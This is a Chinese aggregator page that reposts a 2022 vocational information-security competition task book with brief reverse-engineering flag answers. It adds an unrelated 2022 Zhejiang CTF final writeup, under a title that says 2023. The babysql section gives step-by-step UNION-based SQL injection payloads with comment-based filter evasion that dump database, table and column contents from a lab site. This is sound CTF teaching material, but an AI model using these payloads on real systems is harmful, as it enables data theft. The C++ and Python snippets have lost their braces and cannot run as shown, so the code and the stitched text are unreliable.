2023浙江省赛“信息安全管理与评估“--Reverse部分全部解析(高职组)

Posted 落寞的魚丶

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2023浙江省赛“信息安全管理与评估“--Reverse部分全部解析(高职组)相关的知识,希望对你有一定的参考价值。

2022全国职业技能大赛“信息安全管理与评估”(高职组)任务书

2022全国职业技能大赛“信息安全管理与评估”任务书

第一阶段竞赛项目试题

先略

第二阶段竞赛项目试题

根据信息安全管理与评估技术文件要求,第二阶段为网络安全事件响应、数字取证调查和应用程序安全。本文件为信息安全管理与评估项目竞赛-第二阶段试题。

介绍:
竞赛有固定的开始和结束时间,参赛队伍必须决定如何有效的分配时间。请认真阅读以
下指引!
(1)当竞赛结束,离开时请不要关机;
(2)所有配置应当在重启后有效;
(3)除了CD-ROM/HDD/NET驱动器,请不要修改实体机的配置和虚拟机本身的硬件设置。
所需的设备、机械、装置和材料
所有测试项目都可以由参赛选手根据基础设施列表中指定的设备和软件完成。
评分方案
本项目模块分数为350分。

项目和任务描述:
随着网络和信息化水平的不断发展,网络安全事件也层出不穷,网络恶意代码传播、信
息窃取、信息篡改、远程控制等各种网络攻击行为已严重威胁到信息系统的机密性、完整性
和可用性。因此,对抗网络攻击,组织安全事件应急响应,采集电子证据等技术工作是网络
安全防护的重要部分。现在,A集团已遭受来自不明组织的非法恶意攻击,您的团队需要帮助
A集团追踪此网络攻击来源,分析恶意攻击攻击行为的证据线索,找出操作系统和应用程序中
的漏洞或者恶意代码,帮助其巩固网络安全防线。

本模块主要分为以下几个部分:
● 网络安全事件响应
● 数字取证调查
● 应用程序安全
本部分的所有工作任务素材或环境均已放置在指定的计算机上,选手的电脑中已经安装好 Office 软件并提供必要的软件工具 (Tools 工具包)。
赛题第二阶段请按裁判组专门提供的U盘中的“XXX-第2阶段-答题模板”中的要求提交答案。选手需要在U盘的根目录下建立一个名为“GWxx”的文件夹(xx用具体的工位号替代),所完成的“XXX-第2阶段-答题模板”放置在文件夹中作为比赛结果提交。

工作任务:
第一部分 网络安全事件响应(140分)

任务1:应急响应
A集团的WebServer服务器被黑客入侵,该服务器的Web应用系统被上传恶意软件,系统文
件被恶意软件破坏,您的团队需要帮助该公司追踪此网络攻击的来源,在服务器上进行全面
的检查,包括日志信息、进程信息、系统文件、恶意文件等,从而分析黑客的攻击行为,发
现系统中的漏洞,并对发现的漏洞进行修复。
本任务素材清单:Server服务器虚拟机。
受攻击的Server服务器已整体打包成虚拟机文件保存,请选手自行导入分析。
注意:Server服务器的基本配置参见附录,若题目中未明确规定,请使用默认配置。
请按要求完成该部分的工作任务。

任务 1:应急响应
1.提交攻击者的 IP 地址
2.识别攻击者使用的操作系统
3.找出攻击者资产收集所使用的平台
4.提交攻击者目录扫描所使用的工具名称
5 提交攻击者首次攻击成功的时间,格式:DD /MM/YY:HH:MM:SS
6 找到攻击者写入的恶意后门文件,提交文件名(完整路径)和后门密码
7.找到攻击者隐藏在正常 web 应用代码中的恶意代码,提交该文件名(完整路径)
8 识别系统中存在的恶意程序进程,提交进程名
9 找到文件系统中的恶意程序文件并提交文件名(完整路径)

第二部分 数字取证调查(120分)

任务2: 网络数据包分析
A集团的网络安全监控系统发现恶意份子正在实施高级可持续攻击(APT),并抓取了部
分可疑流量包。请您根据捕捉到的流量包,搜寻出网络攻击线索,分解出隐藏的恶意程序,
并分析恶意程序的行为。
本任务素材清单:捕获的网络数据包文件。
请按要求完成该部分的工作任务。

任务 2: 网络数据包分析
1 分析并提交攻击者使用 FTP 连接目标服务器时使用的密码
2 分析并提交攻击者登入目标服务器 web 系统时使用的密码
3 分析并提交攻击者传入目标系统的文件名
4 分析并提交被攻击的服务器的计算机名称

第三部分 应用程序安全(90分)

任务3:代码审计
代码审计是指对源代码进行检查,寻找代码存在的脆弱性,这是一项需要多方面技能的
技术,作为一个高级软件开发者,代码安全作为你的日常工作中非常重要的一部分,因为大
部分代码从语法和语义上来说是正确的,你必须依赖你的知识和经验来完成工作。每个团队都
将获得一个代码列表,查看每一段代码然后回答答题卡里的问题。
本任务素材清单:答题模板上提供的代码片段。
请按要求完成该部分的工作任务。

任务 3:代码审计
1 存在脆弱性的代码行数
2 代码可能会受到的网络安全攻击类型
3 结合代码简述漏洞产生的原因

第三阶段竞赛项目试题

根据信息安全管理与评估技术文件要求,第三阶段为网络安全渗透(夺旗挑战CTF)。本
文件为信息安全管理与评估竞赛-第三阶段试题。

介绍:
夺旗挑战CTF(网络安全渗透)的目标是作为一名网络安全专业人员在一个模拟的网络环
境中实现网络安全渗透测试工作。
本模块要求参赛者作为攻击方,运用所学的信息收集、漏洞发现、漏洞利用等渗透测试
技术完成对网络的渗透测试;并且能够通过各种信息安全相关技术分析获取存在的Flag值。所需的设备、机械、装置和材料
所有测试项目都可以由参赛选手根据基础设施列表中指定的设备和软件完成。

评分方案
本测试项目模块分数为350分。
项目和任务描述:
在A集团的网络中存在几台服务器,各服务器存在着不同业务服务。在网络中存在着一定网络安全隐患,请利用你所掌握的渗透测试技术,通过信息收集、漏洞挖掘等渗透测试技术,完成指定项目的渗透测试,在测试中获取flag值。
本模块所使用到的渗透测试技术包含但不限于如下技术领域:
• 信息收集
• 逆向文件分析
• 二进制漏洞利用
• 应用服务漏洞利用
• 操作系统漏洞利用
• 杂项与密码学分析
• 系统文件分析
所有设备和服务器的IP地址请查看现场提供的设备列表。
特别提醒通过找到正确的flag值来获取得分,它的格式如下所示:flag<flag值 >
这种格式在某些环境中可能被隐藏甚至混淆。所以,注意一些敏感信息并利用工具把它找出来。赛题第三阶段请按裁判组专门提供的U盘中的“XXX-第3阶段-答题模板”中的要求提交答案。选手需要在U盘的根目录下建立一个名为“GWxx”的文件夹(xx用具体的工位号替代),所完成的“XXX-第3阶段-答题模板”放置在文件夹中作为比赛结果提交。
工作任务
任务1:答题系统服务器(30分)
服务器场景:web2
IP地址:
任务编号 任务描述
1答题系统存在隐藏信息,请找出隐藏信息,并将flag提交。flag
格式:flag<flag值>

任务2:渗透测试
C集团上新了一台新的服务器,需要您的团队对服务器进行风险评估,找出所有可能存在的漏洞,包
括但不限于敏感信息泄露、文件上传等漏洞。
本任务素材清单:Server服务器虚拟机、kali虚拟机
注意:靶机ip地址为:192.168.100.100/24,靶机为vmware桥接,请自行更改本机ip地址与其联通
1.写 出 所 有 的 任 意 文 件 下 载 漏 洞payload 并写出如何发现漏洞(注:写出所有的解题步骤并截图)(30 分)
2 题目:写出所有的敏感信息泄露漏洞并写出所有的payload(注:写出所有的解题步骤并截图)(20分)
3 题目:写出mysql数据库中的mysql库中的user表中user字段里d开头的用户名(注:写出所有的解题步骤并截图)(20分)
4 题目:写出wordpress的用户名以及密码(注:写出所有的解题步骤并截图)(30分)
5 题目:getshell并截图(注:写出所有的解题步骤并截图)(40分)
6 题目:现在拿到了一个www-data权限的webshell,接下来你会做什么操作,写出你的操作思路(20分)
请按要求完成该部分的工作任务。

任务3:Reverse(80分)

服务器场景:reverse
IP地址:自动获取
任务编号 任务描述
1登录FTP下载reverse.rar文件,用户名:ftp,密码:空解压该文件并分析程序reverse_0,请找出隐藏信息,并将flag提交。flag格式:flag<flag值>

查看main函数直接就写出来了(签到题吧)

FLAG:this_Is_a_EaSyRe

2分析程序reverse_1,请找出隐藏信息,并将flag提交。flag格式:flag<flag值>
通过shift+f12找到wrong flagx交叉引用到主函数,可以看到上面对str2进行了一个将o换成0的操作,
所以我们直接将str2o都换成0就能拿到flag


FLAG:hell0_w0rld

3分析程序reverse_2,请找出隐藏信息,并将flag提交。flag格式:flag<flag值>

跟上题同样的思路,这里取了一个flag的地址来循环+i
其实就是遍历flag地址下的那个字符串的每一位,这里将ir换成了1 简单写个脚本,不写也可以。


FLAG:hack1ng_fo1_fun

4分析程序reverse_3,请找出隐藏信息,并将flag提交。flag格式:flag<flag值>

我们的输入strsub_4110BE函数进行了一系列操作传给了v4,然后将v4 copy给了destination变量,
下面将destination变量的每一位ascii码加了一个循环的j最终与v2进行比较,点进sub_4110BE看看



一眼base64,且没有换表,直接写出脚本解密

FLAG:i_l0ve_you

可以参考视频解析:
https://www.bilibili.com/video/BV1U54y1K7hZ/?spm_id_from=333.999.0.0&vd_source=f71dc7b9e955e0bc4bdc7b0b26ddf924

任务4:数据分析(100分)
服务器场景:ftp01
IP地址:自动获取
任务编号 任务描述
1从靶机服务器的FTP上下载capture.pcapng数据包,账号名:
ftp,密码:空,使用Wireshark分析数据包找出telnet服务器(路由器)的用户名和密码,并将密码作为Flag值提交。flag格式:flag密码
2使用Wireshark分析capture.pcapng数据流量包,telnet服务器是一台路由器,找出此台路由器的特权密码,并将密码作为Flag值提交。flag格式:flag密码
3使用Wireshark分析capture.pcapng数据流量包,telnet服务器是一台路由器,正在被192.168.181.141这台主机进行密码爆破,将此主机进行密码爆破的次数作为Flag值提交。flag格式:flag爆破次数
4使用Wireshark分析capture.pcapng数据流量包,ftp服务器已经传输文件结束,将登陆服务器后的第一条指令作为Flag值提交。flag格式:flag第一条指令
5使用Wireshark分析capture.pcapng数据流量包,ftp服务器已经传输文件结束,将建立FTP服务器的数据连接的次数作为Flag值提交。flag格式:flag连接次数
6使用Wireshark分析capture.pcapng数据流量包,ftp服务器已经传输文件结束,将登陆服务器后第一次使用数据连接的端口号作为Flag值提交。flag格式:flag第一次连接端口
7使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交。flag格式:flagphp版本号
8使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,将web服务器软件的版本号作为Flag值提交。flag格式:flagweb软件版本号
9使用Wireshark分析capture.pcapng数据流量包,找出数据包当中所有HTTP状态码为404的报文,将这些报文的数量作为Flag值提交。flag格式:flag报文数量
10使用Wireshark分析capture.pcapng数据流量包,这些数据中有非常多的 ICMP 报文,其中有一个设备是路由器, IP 地址为192.168.181.25,将路由器上主动发出的ping请求的数量作为Flag值提交。flag格式:flag请求数量
11使用Wireshark分析capture.pcapng数据包文件,这些数据中有非常多的ICMP报文,这些报文中有大量的非正常ICMP报文,找出类型为定向的所有报文,将报文重定向的数量作为Flag值提交。flag格式:flag重定向数量
12使用Wireshark分析capture.pcapng数据包文件,这些数据中有ssh报文,由于ssh有加密功能,现需要将这些加密报文的算法分析出来,将ssh客户端支持的第一个算法的名称作为Flag值提交。flag格式:flag第一个算法名称
13使用Wireshark并分析capture.pcapng数据包文件,这些数据中有ssh报文,由于ssh有加密功能,现需要将这些加密报文的算法分析出来,将ssh服务器支持的第一个算法的密钥长度作为Flag值提交。flag格式:flag第一个算法密钥长度

任务5:开发测试服务器(60分)
服务器场景:web2
IP地址:
任务编号 任务描述
1开发测试服务器首页存在漏洞,请利用漏洞找出flag,并将flag提交。flag格式:flag<flag值>
2开发测试服务器第二个页面存在的漏洞,请利用漏洞找出flag,并将flag提交。flag格式:flag<flag值>
开发测试服务器第三个页面存在的漏洞,请利用漏洞找出flag, 3 并将flag提交。flag格式:flag<flag值>

2022 第五届 浙江省大学生网络与信息安全竞赛技能赛 决赛 Writeup,5题

文章目录

1、MISC:checkin_gift

题目描述:

  • 有一张图
  • foremost分离后还有一张 (虽然没啥用,但好康)

思路:

  1. 用01Edit打开原始图片,搜索==,发现base密码
  2. 丢进CyberChef尝试,发现base64+base32能解出flag

2、MISC:m4a

题目描述:

  • 给了一个zip,里面包含一个没有后缀的名为m4a的文件(PS:没有后缀是不是意味着不一定是m4a文件)

思路:

  1. 将后缀改为.m4a播放一下,感觉是个摩斯电码。 用格式工厂转为MP3,丢到AudacityPortable看波形,手抄摩斯电码得到密码码-… .- …- …-- -… -.-. . …-.-.-. …— ----- …-, 解密后得到密码为BA43BCEFC204。


  2. 01Edit打开音频文件,发现末尾有个反向的zip,写代码提取出来。

    #include<bits/stdc++.h>
    using namespace std;
    int main()
        freopen("in1.txt","r",stdin);
        freopen("out1.txt","w",stdout);
        string op;
        vector<string>vc;
        while(cin>>op)
            vc.push_back(op);
        
        reverse(vc.begin(),vc.end());
        int cnt = 0;
        for(string t : vc)
            cnt++;
            cout<<t;
            if(cnt%16==0)cout<<"\\n";
            else cout<<" ";
        
        return 0;
    
    
    00 00 00 00 00 5C 00 00 00 5C 00 01 00 01 00 00
    00 00 06 05 4B 50 01 D8 56 2A 32 4D 2D F7 01 D8
    60 F5 2D E4 5A 49 01 D8 60 F5 2D E4 5A 49 00 18
    00 01 00 00 00 00 00 20 00 0A 74 78 74 2E 68 73
    61 62 74 61 00 00 00 00 00 00 00 20 00 00 00 00
    00 00 00 24 00 0A 00 00 00 28 00 00 00 34 7A 71
    6F BC 54 A6 57 53 00 00 00 01 00 14 00 3F 02 01
    4B 50 50 00 99 A7 0C 4D FF C7 B9 4B 1B 5E 71 98
    29 25 23 02 0C 39 90 F1 60 35 FC 3B 97 9A 69 91
    8E 3E 11 7F 2E 6E A7 27 26 DC CD F7 9B DF CB 05
    EC 42 EE 9C 71 AA 74 78 74 2E 68 73 61 62 74 61
    00 00 00 0A 00 00 00 28 00 00 00 34 7A 71 6F BC
    54 A6 57 53 00 00 00 01 00 14 04 03 4B 50
    
    --------------------------------------------------------
    倒置后
    
    50 4B 03 04 14 00 01 00 00 00 53 57 A6 54 BC 6F
    71 7A 34 00 00 00 28 00 00 00 0A 00 00 00 61 74
    62 61 73 68 2E 74 78 74 AA 71 9C EE 42 EC 05 CB
    DF 9B F7 CD DC 26 27 A7 6E 2E 7F 11 3E 8E 91 69
    9A 97 3B FC 35 60 F1 90 39 0C 02 23 25 29 98 71
    5E 1B 4B B9 C7 FF 4D 0C A7 99 00 50 50 4B 01 02
    3F 00 14 00 01 00 00 00 53 57 A6 54 BC 6F 71 7A
    34 00 00 00 28 00 00 00 0A 00 24 00 00 00 00 00
    00 00 20 00 00 00 00 00 00 00 61 74 62 61 73 68
    2E 74 78 74 0A 00 20 00 00 00 00 00 01 00 18 00
    49 5A E4 2D F5 60 D8 01 49 5A E4 2D F5 60 D8 01
    F7 2D 4D 32 2A 56 D8 01 50 4B 05 06 00 00 00 00
    01 00 01 00 5C 00 00 00 5C 00 00 00 00 00 
    
  3. 打开压缩包,输入上面音频中得到的密码,解压得到atbash加密后的字符串
    (+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN

  4. 最后跑一遍ROT47+atbash得到flag。

3、Crypto:Math

题目描述

  • 打开附件.py,发现明文m通过str和key加密后得到c。

思路

  1. 注意到%37,最多只有37种。 所以枚举key从1-37,反向str得到字典。
    然后用密文c和反向的字典跑出明文m。(注意到跑出来有=号,去掉str中的=号重新跑)
    str = 'abcdefghijklmnopqrstuvwxyz0123456789+'
    dic = 
    for key in range(1,38):
        for i in str:
            k=(str.index(i)*key+7)%37
            dic[str[k]] = i
        # print(dic)
        c='u66hp7nuh01puoaip10pi6o0vzavnu11'
        m = ''
        for i in c:
            m += dic[i]
        print(m)
    
  2. 得到37种结果,逐一尝试得到flag
    nzzai0gnatuinh4biutibzhtos4ognuu
    z55aendza2kezwptek2et5w2hjphdzkk
    377apvc3a5tp31kzpt5pz715rgkrc3tt
    588aczu5aofc5l02cfoc28lowx0wu5ff
    kffajuqka0ejk5gpje0jpf50zlgzqkee
    799a03b7a82076f5028059681df1b722  //flag
    x44arjwxaiyrxb+qryirq4bic3+cwxyy
    8rrab5k8ahvb8ynobvhboryhl4nlk8vv
    wllafhnwa95fwj27f59f7lj9sc2snw55
    fvvaxkifancxf8d0xcnx0v8n5yd5ifcc
    sjja5+osa6w5se715w651je6if7iosww
    9++an7t9aron9qv8norn8+qr6uv6t9oo
    bttamcjbak4mb3ium4kmut3kv1ivjb44
    4ppa1xl4aem14tsi1me1ipteb7sbl4mm
    2ooadt42av0d29cfd0vdfo9v7qc74200
    r11at8fraw3trmzht3wth1mwypzyfr33
    qiiah67qam+hquryh+mhyiumdzrd7q++
    lyyavwzla+8vlxo9v8+v9yx+jbojzl88
    0nnaqpm0abdq0oxcqdbqcnob2+x2m0dd
    v33a4fevazb4vrun4bz4n3rz8mu8evbb
    ukkasd6uapisuzm4sips4kzpnwmn6uii
    jxxa8shjaql8jc968lq86xcqev9ehjll
    hwwako0ha7zkhst3kz7k3ws7+et+0hzz
    +ssaz92+a1hz+i3rzh1zrsi1qk3q2+hh
    cbbayescauxycvqdyxuydbvufrqfscxx
    t22agbxtafpgt7ekgpfgk27f36e3xtpp
    6qqao136ay9o6d8lo9yolqdygn8g3699
    p00a64ypacg6p2je6gc6e02ct9jtypgg
    duua+g1da4q+dnyx+q4+xun40hy01dqq
    ohhau2poa3nuo+bvun3uvh+39ib9ponn
    eccali+eadjlef6gljdlgcfdk86k+ejj
    166a2rv1al721g5w27l2w6glm05mv177
    gdda9mrgax69g0lj96x9jd0xpolprg66
    ieeawq9iagswik1mwsgwmekgu51u9iss
    mgga7y8maj17mpws71j7sgpj42w48m11
    ymma3l5yasr3y4h+3rs3+m4sxthx5yrr
    ymm+3l5y+sr3y4h+3rs3+m4sxthx5yrr
    

4、RE:ezandroid

题目描述:

  • 安卓模拟器安装,打开后是个登录界面

思路:

  1. 丢到JEB里打开,解析后查看MainActivity程序代码,发现登录账号为mname,密码为compare数组经过change函数加密后的结果
  2. 查看change函数,得到密码的计算方式为 valueOf((ch[x] ^ 3) << 2 ,因此反向计算的方式为对数组,先>>2,再^3。
  3. 拷贝出数组的元素,用计算器将部分16进制转为10进制。
  4. 写C++程序,对数组中的每个数x, 取(x>>2)^3的结果,输出为字符串,即为密码f4n_4ndro1d
    #include<bits/stdc++.h>
    using namespace std;
    
    int a[11] = 404, 220, 436, 368, 220, 436, 412 , 452 , 432, 200, 412;
    int main()
        for(int i = 0; i < 11; i++)
            int t = a[i];
            t >>= 2;
            t ^= 3;
            cout<<char(t)<<"";
        
        return 0;
    
    
  5. 进入程序,输入账号和密码,得到flag。

5、Web:babysql

题目描述:

  • 打开网页,输入数字得到sql注入的目标位置

思路:

  1. 尝试构造sql注入
    id=password/**/and/**/1=1/**/union/**/select/**/1,1,1
  2. 获取数据库名称
    search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,database()
  3. 获取数据表名称
    search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'
  4. 获取数据字段名称
    search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='emails'
  5. 获取数据字段的值,得到flag。
    search.php?id=0/**/and/**/1=1/**/union/**/select/**/1,1,group_concat(email_id)/**/from/**/emails

其他可做题:

  • re1:EzMath2:upx壳混淆,改区段名之后脱壳,然后IDA
  • 参考题解:https://mp.weixin.qq.com/s/2dVnRuxqsU94j5bhvTWJUA

以上是关于2023浙江省赛“信息安全管理与评估“--Reverse部分全部解析(高职组)的主要内容,如果未能解决你的问题,请参考以下文章

2022年xx地 信息安全管理与评估赛题

任务1:Linux Kernel提权(50分)[2019年信息安全管理与评估赛题答案 -01]

2021-技能大赛-信息安全管理与评估-DCN 设备总结 (上)-任务一网络设备路由配置篇

2022全国职业技能大赛“信息安全管理与评估“--应急响应日志分析解析(高职组)

2016信息安全省赛小结

2019-信息安全管理与评估